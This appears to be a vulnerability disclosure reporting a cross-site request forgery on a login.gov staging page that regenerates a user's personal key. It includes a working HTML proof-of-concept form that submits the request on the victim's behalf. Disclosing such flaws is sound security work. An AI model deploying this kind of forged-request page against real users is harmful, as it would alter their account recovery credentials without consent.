CSRF in generating a new Personal Key

Hello team, I would like to report a CSRF which would allow an attacker to change a user's personal key.

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://staging.login.gov/manage/personal_key">
      <input type="hidden" name="resend" value="true" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>